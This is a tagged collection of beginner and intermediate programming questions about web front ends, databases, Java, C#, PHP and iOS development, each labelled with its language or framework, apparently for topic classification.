border= 0  /&gt;                 cambiar contraseña             &lt;/asp:linkbutton&gt;         &lt;/li&gt;      &lt;/ul&gt;     &lt;br /&gt; &lt;/div&gt; </code></pre>,css
content that appears as you scroll with jquery  i would like to get with jquery the effect of this web page to  load  the content as you scroll. example: <a href= https://conference.awwwards.com/speakers facebook-likes  rel= nofollow noreferrer >enter link description here</a>   <pre><code>$(window).scroll(function() {     var scroll = $(window).scrolltop(); if (scroll &gt;= 50) {    $( .row ).addclass( active ); } else { $( .row ).removeclass( active ); } </code></pre>   });    i have a codepen with a global efect but i would like to do with each panel. my idea is that the panels go loading loading in different heights of the scroll like in the web of the example  <a href= http://codepen.io/isbell/pen/yzjgpx  rel= nofollow noreferrer >enter link description here</a>,jquery
danish æ being recognized as 2 letters instead of one  i ve a simple code like so:    <code>echo strlen( grækenland );</code>    and it s returning 11 instead of expected 10    the server is in denmark  locale was set to danish  but it still returns 11...,php
how to take user input in android <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/2869338/where-to-start-to-learn-android >where to start to learn android </a>    </blockquote>     hi     i want to take input from user. where user can write some values and this value can be stored in a variable and can be used for later use.,android
label not working with checkbox  ok  what am i missing  i have:   <pre><code>&lt;form&gt;     &lt;input type= checkbox  name= showratings  value= 1  checked&gt;     &lt;label for= showratings &gt;show ratings&lt;/label&gt; &lt;/form&gt; </code></pre>   and when i click on the  show ratings  text  the checkbox is not toggling. i know it s something simple.,html
python numexpr module not found  i installed in the past numexpr successfully on many machine. but now i just cannot manage to get it run on a new linux system. essentially i download the tar.gz file and   <pre><code>python setup.py install --home=~/python/ </code></pre>   which nicely works. i also did   <pre><code>export pythonpath+=:$home/python/lib/python/ </code></pre>   this procedure works nicely for a couple of other modules on the machine  but for numexpr i keep getting   <pre><code>python 2.6.2 (r262:71600  jul 22 2011  11:30:26)  [gcc 4.4.4 20100726 (bull 4.4.4-13)] on linux2 type  help    copyright    credits  or  license  for more information. &gt;&gt;&gt; import numexpr traceback (most recent call last):   file  &lt;stdin&gt;   line 1  in &lt;module&gt; importerror: no module named numexpr </code></pre>   i tried version 1.4.1 and 1.4.2 of numexpr. also the sys.path is correctly set in the python environment (as it should be).     does anybody have an idea what could go wrong here     thanks  mark,python
how to convert nsdate to nsstring   i want to convert nsdate to nsstring  how s that possible     i tried this  but it didn t work (it is generating exception) :   <pre><code>   nsstring *datetostring=[[nsstring alloc] initwithformat:(nsstring *)dateobj]; </code></pre>   thanks in advance.,iphone
fetching data from table using select and count function together in one query  i have two tables like .   <pre><code>user_circle  user_id  circle_id  user_type_id 1        1          1 1        2          1 1        3          1 1        4          2 2        2          2   user_type  id  type 1   admin 2   member </code></pre>   i have to fetch all <code>circle_id</code> from <code>user_circle</code> table where <code>user_id = 1</code> and <code>user_type_id = 1</code> and number of  <code>member</code>  (i.e: <code>admin</code> of that <code>circle) in that</code>circle` is one.    i need a result like .   <pre><code>circle_id 1 3 </code></pre>   how can i achieve this  can it be done in one query,mysql
ihasapp.a framework is not detected by compiler  how to add the framework ihasapp.a framework into my application bundle framework or framework.i tried to add through bundle phases and add files  but still i am getting the following errors.   <ol> <li>undefined symbols for architecture i386: <code>_objc_class_$_ihasapp</code>  referenced from:   objc-class-ref in rootviewcontroller.o</li> <li>ld: symbol(s) not found for architecture i386 clang: error: linker command failed with exit code 1 (use -v to see invocation)</li> </ol>   and i am not able to add this framework.,objective-c
using a method while looping through an array in ruby  i am using ruby-aaws to return amazon products and i want to enter them into my db. i have created a model amazonproduct and i have created a method get_amazon_data to return an array with all the product information. when i define the specific element in the array ( e.g. to_a[0] ) and then use ruby-aaws item_attributes method  it returns the name i am searching for and saves it to my db. i am trying to iterate through the array and still have the item_attributes method work. when i don t define the element  i get this error: undefined method `item_attributes  for #array:0x7f012cae2d68    here is the code in my controller.   <pre><code>def create @arr = amazonproduct.get_amazon_data( :r ).to_a  @arr.each { |name|    @amazonproduct = amazonproduct.new(params[:amazonproducts])    @amazonproduct.name = @arr.item_attributes.title.to_s  } </code></pre>   edit: code in my model to see if that helps:   <pre><code>class amazonproduct &lt; activerecord::base    def self.get_amazon_data(r)    resp = amazon::aws.item_search( gourmetfood   {  keywords  =&gt;  coffee maker  })    items = resp.item_search_response.items.item    end end </code></pre>   thanks for any help/advice.,ruby-on-rails
how to override overflow:hidden   see <a href= http://jsfiddle.net/r2mta/2/  rel= nofollow >jsfiddle</a> here.    as the parent-parent node of pink div  the blue div included the css style <code>overflow:hidden</code>  which is essential in my project for other parts of content.    but now i have to show the pink square across the border  it seems a part of it was overlapped because of it parent s <code>overflow:hidden</code>. what should i do if i want to make it     thanks!,css
how does the graphics copyfromscreen method copy into a bitmap  <pre><code>private void startbot_click(object sender  eventargs e) {         bitmap bmpscreenshot = screenshot();         this.backgroundimage = bmpscreenshot; }  private bitmap screenshot() {      // this is where we will store a snapshot of the screen     bitmap bmpscreenshot =          new bitmap(screen.primaryscreen.bounds.width screen.primaryscreen.bounds.height);      // creates a graphic object so we can draw the screen in the bitmap (bmpscreenshot);     graphics g = graphics.fromimage(bmpscreenshot);      // copy from screen into the bitmap we created     g.copyfromscreen(0  0  0  0  screen.primaryscreen.bounds.size);      // return the screenshot     return bmpscreenshot; } </code></pre>   i ve been recently playing around with c# and i m just following some tutorial  i just don t understand how if i was to erase <code>graphics g</code> it wouldn t put the image as the background  but at no point does the code assign any relation between the variables  other than <code>graphics g = graphics.fromimage(bmpscreenshot)</code>  then <code>g</code> is given some parameters  but then we <code>return bmpscreenshot</code> which just doesn t make any sense  i would expect <code>g</code> to be returned,c#
what does asax stand for   there is a <code>global.asax</code> file in the root of asp.net applications.   <ul> <li>what is the reason behind the extension naming </li> <li>can i create other files to use this extension  for what purpose </li> </ul>,asp.net
aligning two three items on same line  how can i make three items on same line with css  i want to make them on same line one after another  this is what i have for html   <pre><code>&lt;div class= btn-votes &gt;        &lt;input type= button  title= up  class= up /&gt;             &lt;div class= label-votes &gt;2&lt;/div&gt;        &lt;input type= button  title= down  class= down  /&gt;   &lt;/div&gt; </code></pre>   and this is the css   <pre><code>.btn-votes input[type= button ]{     width:32px;     height:32px;     border:0;     cursor:pointer;      margin-bottom: -20px;      display:inline-block; } .up {background-image:url(  )} .up:disabled {background-image:url(  )} .down {background-image:url(  )} .down:disabled {background-image:url(  )} .label-votes {font-size:1.0em;color:#40cd22;text-align:center;font-weight:bold;} </code></pre>   and here is the <a href= http://jsfiddle.net/hzqqcv4g/1/  rel= nofollow >jsfiddle</a>.. note: images are not shown there because i have my own.. just tried to provide some image for the demo.,css
terminating app due to -[glkviewcontroller loadview] loaded the  2-view-3  nib but didn t get a glkview.  <ol> <li>i am using opengl framework  in first time.nothing i have written in code.</li> <li>#import </li> </ol>   @interface viewcontroller : glkviewcontroller    @end,ios
sending email to users contact list   i have an application to retrieve an users contact list in a gridview...how do i send email to all the users from the users contact list      steps:-    1.user enters hi/her email id and password. 2.clicks on send invites. 3.the button click event should send invitation email to all the contacts in users contact list.[ how to do the 3rd step  ],asp.net
how to call label from form2 to form1 c#  i have form1 one textbox and one button(check purpose) in form2 i have label1(name  example )    code in check button   <pre><code>form f2 = new form2();  if (textbox.text != f2.label1)  {     messagebox.show( textbox did not match to label )  }  else messagebox.show( textbox match to label! ) </code></pre>,c#
using array sort <strings> <integers>  im working on a console application which sends and receives data through a winsock control. for each incremental stream that gets added to the buffer i have generated an array list and appended incoming integral address (ipv4) from the stream. however  while listing the data in another control  it appears in unsorted manner.    <pre><code>private sub clrhandler_click(byval sender as system.object  byval e as system.eventargs) handles clrhandler.click dim clrreckon as integer clrreckon = postclrcount postclrcount += 1 </code></pre>,.net
javascript replace help  i m trying to use javascript to change a few bits of text on a checkout page for a shopping cart that i m stuck using.    i got the following that works for the few pieces that are labeled with ids. the problem is that one of the pieces i want to change is a class  and i can t seem to get it to work.     any help on getting the following to work for a class  thanks   <pre><code>window.onload = function() {     var str =  price per unit ;     el = document.getelementbyid( priceperunit );     el.innerhtml = str;     var date = new date();     var hours = date.gethours();       if (hours &gt;= 0 &amp;&amp; hours &lt; 24) {         el.innerhtml = str.replace( price per unit    price );     } } </code></pre>   edit: here is the code that i m trying to change  basically i want to change the $30 to say $30+$5/mo  there is only one element for that class   <pre><code>&lt;td valign= top  align= center  class= unitprice &gt; &lt;font size= 2  face= arial  helvetica  sans-serif  color=  &gt;$30.00&lt;/font&gt;&lt;/td&gt; </code></pre>,javascript
jquery uniform add option to select  im trying to add an option to a <code>select</code> element with:   <pre><code>$( select  .check  .check :checkbox  input:radio  input:file ).uniform();      $.ajax({         type:  get           url:  loadsoundlib.php           success: function(msg) {             var lines = msg.split( \n );             $.each(lines  function(){                 if(this !=   ) {                     alert(this);                     $( #selectnewmessagesound ).append( &lt;option value= 1_1.wav &gt;standard&lt;/option&gt; );                 }             });              $.uniform.update( #selectnewmessagesound );         }     }); // ajax call </code></pre>   this is the html i try to append to:   <pre><code>&lt;select name= select2  class= select  id= selectnewmessagesound &gt; &lt;/select&gt; </code></pre>   strange thing is my select is completely empty. any ideas what i m doing wrong,jquery
nothing being written to  trace information  section in trace file  i m trying to debug a web service running on asp.net 4.0 website    this is what my web.config section looks like   <pre><code>  &lt;system.web&gt;     &lt;trace enabled= true  requestlimit= 40  localonly= false /&gt; </code></pre>   the myservice.svc file in the webdirectory looks like this:   <pre><code>&lt;%@ servicehost language= vb  debug= true   service= myservice  codebehind= ~/app_code/myservice.vb  %&gt; </code></pre>   if i look at and clear the trace at:   <pre><code>http://myserver.com/service/trace.axd </code></pre>   like this:    <img src= https://i.stack.imgur.com/e10na.jpg  alt= enter image description here >    it is there and then i call the service from a client (which errors) but i can see a new record appear in the trace list like this:    <img src= https://i.stack.imgur.com/7hpbu.jpg  alt= enter image description here >    i can see it has status 500.  yes i know it has errored. so the i click into it.    and yet the trace information section as nothing in it.    <img src= https://i.stack.imgur.com/z1aiy.jpg  alt= enter image description here >    yet i have placed trace commands in the code like this:   <pre><code>   trace.write( i am starting!! ) </code></pre>   i lost.  please help.,asp.net
search with like in a  as  column  i have the following mysql query:   <pre><code>   select distinct  spelers.spelerscode                      spelers.voornaam                      spelers.achternaam                      case spelers.positie                         when 1 then  keeper                          when 2 then  verdediger                          when 3 then  middenvelder                          when 4 then  aanvaller                          when 5 then  coach                    end as positie                    elftallen.elftal_naam                    (select count(spelerscode) from teams where spelers.spelerscode = teams.spelerscode) as gekozen     from          spelers     left join     elftallen     using         (elftallen_id)     left join     teams     using         (spelerscode)     where         spelerscode like  %$zoekwoord%      or            elftal_naam like  %$zoekwoord%      or            positie like  %$zoekwoord%      or            voornaam like  %$zoekwoord%      or            achternaam like  %$zoekwoord%      order by      spelerscode </code></pre>   when i search on  keeper  for example  i want to show all the keepers. with this query it gives me no results.. is there a way to achieve this,mysql
formatexception in while loop c#/asp.net mvc application  what is the problem with this conditional loop:   <pre><code> while (system.io.file.exists(relpath)){ ... } </code></pre>   it trows an exception when it starts:   <blockquote>    exception details: system.formatexception: index (zero based) must be   greater than or equal to zero and less than the size of the argument   list  </blockquote>   the relpath string value is a  /temp/pdfs/file.ext . any help,c#
why can t i have spaces in my input even when im using console.nextline  so when i use .nextline on my code it clumps up the rest of the input codes after that. when i get rid of the line part of .nextline it won t take an answer with space. the end result would clump up place enter your street address and please enter your city.   <pre><code>import java.util.scanner;  public class informationnew {     public static void main(string [] args)     {             //create scanner class       scanner console = new scanner(system.in);           //declare varibles       string firstname  lastname  city  state  upper  lower  streetadd;       char firstint  lastint;       int age  size  indexofspace;       double wage;           //inputs       system.out.print( please enter your first name:  );       firstname = console.next();        system.out.print( please enter your last name:  );       lastname = console.next();        system.out.print( please enter your street address:  );       streetadd = console.nextline();        system.out.print( please enter your city:  );       city = console.next();        system.out.print( please enter your state:  );       state = console.next();        system.out.print( please enter your age:  );       age = console.nextint();        system.out.print( please enter your annual income:  );       wage = console.nextdouble();        system.out.println();           //manipulate strings       indexofspace = streetadd.indexof(     );        firstint = firstname.charat(0);        lastint = lastname.charat(0);        size = city.length();             //outputs       system.out.println( user information:  );       system.out.println( *****************  );        system.out.println( your name:   + lastname +      + firstname);       system.out.println( your initials:   + firstint + lastint);       system.out.println( characters in city name:   + size);       system.out.println( user location (uppercase):   + city.touppercase() +             + state.touppercase());       system.out.println( user location (lowercase):   + city.tolowercase() +           `enter code here`  + state.tolowercase());       system.out.println( your age:   + age);       system.out.printf( your annual income: $%.2f   wage);      }//end main   }//end class </code></pre>   result    please enter your first name: jon<br> please enter your last name: doe<br> please enter your street address: please enter your city:,java
what is the difference between unique index and unique key   i have seen couple of sample tables one is with unique index and other is with unique key. what is the difference between two   or both are same,mysql
determine if a number is a prime without using loops and mutations   how can i determine is a number is a prime without using a loop  i m a beginner student and so far i ve only been taught functional c. all i am allowed to use is the most basic code like + -  if  == ! ||....also  no variable mutations are allowed  all variables must be constant.    here is my code with mutation:   <pre><code>bool prime(const int i  int a) {     if (a &gt; i/2){         return false;     }     if (i%a == 0){         return true;     }     else {         return prime(i  a+1);     } }  # int a is a counter its given initial value is always 2 #prime (5 2) --&gt; false #prime (9 2) --&gt; true </code></pre>   however  as the question requires  no mutation is allowed  and only one variable is consumed so it should look like    <pre><code>bool prime(const int i) {     ... } </code></pre>   i m thinking of a recursive approach but i just can t quite figure it out. also efficiency is not a factor to be considered in this problem. any help will be appreciated  thanks!,c
python web server and file download  i ve made <a href= https://docs.python.org/2/library/simplehttpserver.html  rel= nofollow >this simple http server in python</a>:   <pre><code>import simplehttpserver import socketserver  port = 8000  handler = simplehttpserver.simplehttprequesthandler  httpd = socketserver.tcpserver((    port)  handler)  print  serving at port   port httpd.serve_forever() </code></pre>   what i want to do now  but i don t know how  is the following:    when i visit <code>http://localhost:8000/my/path/download documentid=100</code>   a document (particularly a pdf file) will start being downloaded automatically. of course  i have more documents but i want them to be identified by the get paramater <code>documentid</code>    what is the easiest way to achieve this  thanks,python
how to pass class variables in a function parameter  the main function of the example class uses the reusablefunction twice with different data and attempts to send that data to a different instance variable ($this->result1container and $this->result2container) in each case  but the data doesn t get into the instance variables.    i could get it to work by making reusablefunction into two different functions  one with array_push($this->result1container  $resultdata) and the other with array_push($this->result2container  $resultdata)  but i am trying to find a solution that doesn t require me to duplicate the code.    my solution was to try to pass the name of the result container into the function  but no go.  does somebody know a way i could get this to work     example code:   <pre><code>class example {      private $result1container = array();     private $result2container = array();      function __construct() {         ;     }      function main($data1  $data2) {         $this-&gt;reusablefunction($data1  $this-&gt;result1container);         $this-&gt;reusablefunction($data2  $this-&gt;result2container);     }      function reusablefunction($data  $resultcontainer) {         $resultdata = $data + 17;          // problem here - $resultcontainer is apparently not equal to         // $this-&gt;result1container or $this-&gt;result2container when i         // try to pass them in through the parameter.          array_push($resultcontainer  $resultdata);     }      function getresults() {         return array(              container 1  =&gt; $this-&gt;result1container                container 2  =&gt; $this-&gt;result2container);     }  } </code></pre>   (if this is a duplicate of a question  i apologize and will happily learn the answer from that question if somebody would be kind enough to point me there.  my research didn t turn up any answers  but this might just be because i didn t know the right question to be searching for),php
how to put validation on ui-selelct element in angularjs  <pre><code>&lt;div class= form-group  &gt;    &lt;ui-select ng-model= selectpickervm.withsearchitem.selected                choice-key= name                 model-key= selectedvehiclename                 class= btn-group bootstrap-select form-control                ng-disabled= false  append-to-body= true                search-enabled= true  required&gt;        &lt;ui-select-match placeholder= select with search   id=   required&gt;          {{$select.selected.name}}        &lt;/ui-select-match&gt;        &lt;ui-select-choices repeat= withsearchitem in selectpickervm.selectwithsearchitems &gt;             &lt;span ng-bind-html= withsearchitem.name &gt;&lt;/span&gt;        &lt;/ui-select-choices&gt;    &lt;/ui-select&gt; &lt;/div&gt; &lt;/div&gt; </code></pre>   here is my code please help me,angularjs
mysql order by comma separated list  i have the following mysql query   <pre><code>select * from characters where characterid in (30  29  1  292  51) </code></pre>   which returns back my list of characters as below   <pre><code>|   characterid   |   charactername  | -------------------------------------- |        1        |    character 1   |  |       29        |    character 29  |  |       30        |    character 30  |  |       51        |    character 51  |  |      292        |    character 292 |  </code></pre>   i need it to return back in the same order as the original comma seperated value. so in this specific instance  i would need it to return...   <pre><code>|   characterid   |   charactername  | -------------------------------------- |       30        |    character 30  |  |       29        |    character 29  |  |        1        |    character 1   |  |      292        |    character 292 |  |       51        |    character 51  |  </code></pre>   is there anyway where i can specifically say something like   <pre><code>select * from characters where characterid in (30  29  1  292  51) order by (characterid  specifically in the order of (30  29  1  292  51)) </code></pre>,mysql
css - set input background by another div class  i have this simple form:   <pre><code> &lt;div class= form-group &gt;   &lt;label&gt;date:&lt;/label&gt;   &lt;div class= input-group date &gt;     &lt;div class= input-group-addon &gt;       &lt;i class= fa fa-calendar &gt;&lt;/i&gt;     &lt;/div&gt;     &lt;input type= text  class= form-control &gt;   &lt;/div&gt; &lt;/div&gt;  &lt;div class= form-group &gt;     &lt;label for= name &gt;name&lt;/label&gt;     &lt;input type= text  id= name  class= form-control &gt;   &lt;/div&gt; </code></pre>   i need set background color when <code>form-group</code> has <code>input-group-addon</code>. in this example: first input has background color and last not.    this is my css:   <pre><code>.form-group:has(.input-group-addon) &gt; input{       background: yellow;   } </code></pre>   where is my problem,css
option symbol has different em size than other characters  i m trying to style the <code>kbd</code> buttons to have all the same <code>min-width</code>  based on the font size of the element.   <pre><code>kbd {   min-width: 1.5em; } </code></pre>   the problem is that it works for all the symbols i ve tried  except for <code>⌃</code>...    it has a different min-width:    <a href= https://i.stack.imgur.com/azwm6.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/azwm6.png  alt= keys ></a>    why that  how can i fix it,css
type-casting @property for concrete child class  i am designing a abstract base class for a model  where one property of the base class is currently <code>id</code>. i d like the concrete classes to define what this  content  property type is. is it safe to redefine the property with a specific type for compiler checking     base class <code>.h</code>:   <pre><code>@interface foo : nsobject ... @property (nonatomic  strong) id content; @end </code></pre>   concrete class <code>.h</code>:   <pre><code>@interface textfoo : foo ... @property (nonatomic  strong) nsstring *content; @end </code></pre>   concrete class <code>.m</code> now requires a <code>@synthesize</code> for <code>nsstring *content</code>. is this override safe to do  or are there unintended side effects  at some top level controller i will be using introspection for a collection of <code>foo</code>s  so i m really only looking for compiler checking on concrete classes.    <strong>edit</strong>: just to add some additional information  this does actually work (xcode 5.0.2) with no warnings or errors from the compiler. the abstract base class can even assign an arbitrary object in a setter and the subclass setter/getter still works.,objective-c
"placing space after logo and realigning text  so i am trying to change the logo for a company i work for and when i tried to place it into the coding it screwed up the alignment of the header text. if someone could help me that would be great! i want the 5 groups of text to go right underneath the logo. with the logo aligning at the top left of the web page.<a href= http://i.stack.imgur.com/kcfpj.png  rel= nofollow >example image of what is happening now</a>    coding is:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= header &gt;
 &lt;img class= logo  src= https://www.maxgalaxy.net/sitedata/730/mwi_images/20161004203121998.png  style= display:block &gt;
 &lt;/div&gt;
 &lt;ul class= topnav &gt;
   &lt;li&gt;&lt;a class= active  href= https://www.hsviceplex.org/events-calendar/  target= new &gt;events&lt;/a&gt;&lt;/li&gt;
   &lt;li&gt;&lt;a href= https://www.hsviceplex.org/#  target= new &gt;sponsorships/advertising&lt;/a&gt;&lt;/li&gt;
   &lt;li&gt;&lt;a href= https://www.hsviceplex.org/#  target= new &gt;contact us&lt;/a&gt;&lt;/li&gt;
   &lt;li&gt;&lt;a href= https://www.hsviceplex.org/advertising/  target= new &gt;about us&lt;/a&gt;&lt;/li&gt;
   &lt;li&gt;&lt;a href= https://www.hsviceplex.org/history-1/  target= new &gt;party packages&lt;/a&gt;&lt;/li&gt;
  &lt;!-- &lt;li&gt;&lt;a href= https://www.hsviceplex.org/contact-us/  target= new &gt;contact us&lt;/a&gt;&lt;/li&gt;
   &lt;li&gt;&lt;a href= https://www.hsviceplex.org/employment/  target= new &gt;employment&lt;/a&gt;&lt;/li&gt;
   &lt;li&gt;&lt;a href= https://www.hsviceplex.org/#  target= new &gt;fundraising&lt;/a&gt;&lt;/li&gt;
   &lt;li&gt;&lt;a href= https://www.hsviceplex.org/the-blog/  target= new &gt;the blog&lt;/a&gt;&lt;/li&gt;
   &lt;li&gt;&lt;a href= https://www.hsviceplex.org/gallery/  target= new &gt;gallery&lt;/a&gt;&lt;/li&gt;--&gt;
   &lt;li class= icon &gt;
     &lt;a href= javascript:void(0);  style= font-size:15px;  onclick= myfunction() &gt;&amp;#9776;&lt;/a&gt;
   &lt;/li&gt;
 &lt;/ul&gt;</code></pre>
 </div>
 </div>",html
last id of an element javascript  how can i read the last element id using javascript     for example :   <pre><code>          &lt;div id= print &gt;                  &lt;p id=1&gt;some data&lt;/p&gt;                 &lt;p id=2&gt;some data&lt;/p&gt;                 &lt;p id=3&gt;some data&lt;/p&gt;                 &lt;p id=4&gt;some data&lt;/p&gt;                 &lt;p id=5&gt;some data&lt;/p&gt;            &lt;/div&gt; </code></pre>   i need to detect the id of last      i need max number of the id actually.it s generated sequentially.,javascript
jquery number counter with sign  how do count up from 0 to number with the sign  numbers are coming from db using a custom function to add k  m  b the using jquery counter up to show animation from 0 to lets say 1500  but actual display is 1.5k.     when i run counter() it removes k m b and 1.5k become 1.50. i am trying to get exact 1.5k but with counter style animation   <pre><code>function number_format_short( $n  $precision = 1 ) {     if ($n &lt; 900) {         // 0 - 900         $n_format = number_format($n  $precision);         $suffix =   ;     } else if ($n &lt; 900000) {         // 0.9k-850k         $n_format = number_format($n / 1000  $precision);         $suffix =  k ;     } else if ($n &lt; 900000000) {         // 0.9m-850m         $n_format = number_format($n / 1000000  $precision);         $suffix =  m ;     } else if ($n &lt; 900000000000) {         // 0.9b-850b         $n_format = number_format($n / 1000000000  $precision);         $suffix =  b ;     } else {         // 0.9t+         $n_format = number_format($n / 1000000000000  $precision);         $suffix =  t ;     }   // remove unecessary zeroes after decimal.  1.0  -&gt;  1 ;  1.00  -&gt;  1    // intentionally does not affect partials  eg  1.50  -&gt;  1.50      if ( $precision &gt; 0 ) {         $dotzero =  .  . str_repeat(  0   $precision );         $n_format = str_replace( $dotzero      $n_format );     }     return $n_format . $suffix; }  function counter(){     $( .cnts ).each(function (index) {         var size = $(this).text().split( . )[1]   $(this).text().split( . )[1].length : 0;         $(this).prop( counter  0).animate({             counter: $(this).text()         }  {             duration: 1500              easing:  swing               step: function (now) {                 $(this).text(parsefloat(now).tofixed(size));             }         });     }); } </code></pre>,jquery
how would i capture all keystrokes from a windows service   i saw some software the other day that logs all keystrokes that are typed on the machine that it is installed on.  how would i go about writing something like this using a .net windows service,.net
rails change application.js to application.js.coffee  i m liking coffee!    is there any reason i can t change my application.js file to application.js.coffee     thanks!    update:    i just tried changing it and got this error (along with 58 other errors): reserved word  function  on line 11   (in /users/burtondav/sites/requestsys/app/assets/javascripts/application.js.coffee),ruby-on-rails
how to use an image for buttons in rails  i have the following form_for in my rails project that allows a user to upload a file and then click submit. as of now they are standard buttons. i would like to use an icon image for the  choose your file  button. is there a way to keep the functionality of that button  but instead make it an image that the user can click on to upload their file    <pre><code>    &lt;%= form_for@user  :url =&gt; users_upload_path  multipart: true  method: :post do |f| %&gt;     &lt;%= f.file_field :name %&gt; &lt;%= f.submit %&gt; </code></pre>   thanks!,ruby-on-rails
display date only once [elegant way]  how do i display the date <em>only once</em> using the inbuilt <a href= http://dev.mysql.com/doc/refman/5.6/en/date-and-time-functions.html#function_curdate  rel= nofollow >date and time functions</a>    if i do  <code>select curdate() from abc.xyz;</code> it would return something like this    <pre><code>+------------+ | curdate()  | +------------+ |    ...     | | 2013-07-23 | | 2013-07-23 | | 2013-07-23 | | 2013-07-23 | |    ...     | +------------+ </code></pre>   with number of rows equal to number of tuples in the table.    in order for it to return me this    <pre><code>+------------+ | curdate()  | +------------+ | 2013-07-23 | +------------+ </code></pre>   i do  <code>select curdate() from abc.xyz limit 1</code> or     <code>select distinct curdate() from abc.xyz</code>    this gives me my expected output but it doesn t seem really sensible to me to use a random database and its table just for accessing the name. <em>what is the proper way of doing this </em>,mysql
does using a function in foreach loop caches the result  or calls the function each time   in the following code:   <pre><code>function a(){     echo  a ;     return array(1 2 3 4); }  foreach(a() as $t){     echo $t;     } </code></pre>   we can see a() is called only once  and it seems the returned value is cached...<br> but then i got to see <a href= https://stackoverflow.com/questions/1013493/coalesce-function-for-php >this debate (see comments on the question)</a> am i missing something,php
gesture recogniser does not works on tableview  the tableview was done programatically  and is listen to delegates .    the gestures :   <pre><code>    uitapgesturerecognizer *tap = [[uitapgesturerecognizer alloc] initwithtarget:self action:@selector(didtapontableview:)];     [self.tableview addgesturerecognizer:tap];    -(void) didtapontableview:(uigesturerecognizer*) recognizer {     nslog(@ ffff ); }  </code></pre>   does not being called.,objective-c
disabling shell window while running c# program  i wrote some basic program (from the empty project) which shows window with some buttons  but everytime when i run it visual studio shows me shell black windows  how can i disable this behaviour  thanks in advance,c#
input integer output float  and vice-versa  i want to create a program to perform a arithmetic operation of multiplication using the concept of overloading. so that if it get 2 integer it will output a float. and if i input 2 float it must output integer. how can i create such program because am new to programming. thanks,java
simple example of using ffmpeg with php  how do i start using ffmpeg with php  i don t understand how to include it in my php code. probably something super simple     and then i like to strip the audio track out of a video. all done in php,php
can t locate fuslogvw.exe on my machine  i m looking for the assembly binding log viewer executable (fuslogvw.exe)  but i can t seem to find it on my machine. it s there for sure  because when i type fuslogvw in a visual studio command prompt the application opens.    the machine i m working on has a clean visual studio 2008 installation  no previous versions were ever installed.    anyone knows where to find it  i need the exe to be able to copy it to a server to solve a binding issue.,.net
jquery check p tag value then hide parent if criteria matched  i want to lookup prices inside   tags (plain text). for instance if p.price &lt; 10000 then hide its parent. im thinking something along the lines of   <pre><code>$( .price ).val() &lt; 10000.parent().hide(); </code></pre>   obviously that is syntactically incorrect....can anyone tell me if this is possible and how i d go about cleaning up my code  thanks,jquery
why is !==0 returning values equal to 0 rather than not equal to 0   i have the following bit of code that is meant to return values between 13 &amp; -13 that do not add up to 0.  the following is the bit of javascript in question (i included the full jsfiddle below):   <pre><code>$(document).ready(function() {   function generaterandomnumber() {     var min = -13        max = 13;     var random = math.floor(math.random() * (max - min + 1)) + min;     return random;   }   var x = generaterandomnumber();    function generaterandomnumber2() {     var min2 = -13        max2 = 13;     var random2;     while ((random2 + x) !== 0) {       random2 = math.floor(math.random() * (max2 - min2 + 1)) + min2;     }     return random2;   }   var xx = generaterandomnumber2();   $( #x ).html(x);   $( #xx ).html(xx);   $( #y ).html(sum); }); </code></pre>   jsfiddle: <a href= http://jsfiddle.net/vl77hjp0/  rel= nofollow >http://jsfiddle.net/vl77hjp0/</a>    however  it seems to be returning values that are equal to 0. i cannot figure out why  !==  is doing the opposite of what i intend it to do. any help would be greatly appreciated.,javascript
how to create an mirror image of label or any control   i want to create an mirror image of label or say any control and display the same on the view.is there any way to create mirror image of label text or say button text  thanks in advance...,iphone
c# 4.0 dynamic features  what is the point of having a dynamic class on which you can call methods that may  or may not be there,c#
absolute div positioning  the problem is that <code>.calendar</code> div is staying on top of the page and i want it to move when the page is scrolled.   <pre><code>.calender{     position:absolute;     top:250px;     left:600px;     width:200px; }    .popup{     width:980px;     overflow:auto;     height:500px;    }   &lt;div class= calender &gt;&lt;/div&gt; &lt;div class= popup &gt;     &lt;input type= text  value=  &gt;     &lt;input type= text  value=  &gt; &lt;/div&gt; </code></pre>,css
group a single column in multible join query  i have wrote a sql query which has join many tables and i only want to group a single column of table. and here is my slq query.   <pre><code>select us.username  ro.role  ca.cartname  ca.date from users us left join roles ro on ro.roleid = us.roleid left join carts ca on ca.userid = us.id group by ca.date; </code></pre>   and here is the tables  destruction:    //table users   <pre><code>id           username           roleid 1            tri                1 2            lan                1 3            nhu                1 4            lac                1 5            linhchi            2 </code></pre>   //table roles   <pre><code>roleid       role               description 1            admin              someone in administrator board 2            user               someone who has an account 3            guess              someone who just view the website </code></pre>   //table carts   <pre><code>cartid       cartname           cartdescription              userid           date 1            computer           computer cms                 1                2/11/2013 12:00:00 am 2            desk               writing desk                 2                2/11/2013 12:00:00 am 3            print paper        company s print paper        3                3/11/2013 12:00:00 am 4            headphone          small headphone              3                2/11/2013 12:00:00 am 5            mp3player          mp3player portable           4                4/11/2013 12:00:00 am </code></pre>   //desiretable after run the query   <pre><code>username         role          cartname              date tri              admin         computer              2/11/2013 12:00:00 am lan              admin         desk                  2/11/2013 12:00:00 am lan              admin         headphone             2/11/2013 12:00:00 am nhu              admin         print paper           3/11/2013 12:00:00 am lac              admin         mp3player             4/11/2013 12:00:00 am </code></pre>   so the result must group by column  date  from  carts  table. but the query generated an error message <em> column  carts.date  is invalid in the select list because it is not contained in either an aggregate function or the group by clause. </em> i got stuck in current context  i need your help to solve this issue.,sql
change color of div to match another div using jquery  i currently have a total of 4 boxes with the same class and each has its own id  when any of the boxes are clicked  the background colors of all the boxes should change to that of an assigned div id.    i do want to have it be a specific color as in the current js fiddle example  i want it to be what ever color a particular div is. i.e. #box2 will change color on .click to that of #box1 and #box1 will change to the color of #box4. thus giving the illusion of the boxes moving clockwise. i want this to be usable for an unlimited number of clicks.   <pre><code>        $(document).ready(function () {             $( .colorbox ).click(function () {                 $( #box1 ).css( background-color    blue );                 $( #box2 ).css( background-color    red );                 $( #box3 ).css( background-color    yellow );                 $( #box4 ).css( background-color    green );                        });         }); </code></pre>   see <a href= http://jsfiddle.net/ymqye/  rel= nofollow >http://jsfiddle.net/ymqye/</a>,jquery
